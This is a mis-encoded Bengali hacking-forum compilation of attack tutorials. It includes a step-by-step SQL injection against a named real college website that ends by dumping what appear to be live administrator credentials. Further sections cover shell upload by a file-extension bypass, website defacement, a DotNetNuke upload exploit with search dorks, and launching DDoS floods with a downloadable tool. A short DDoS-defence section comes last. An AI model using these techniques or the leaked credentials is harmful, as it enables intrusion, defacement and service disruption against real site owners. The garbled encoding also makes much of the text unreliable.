inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
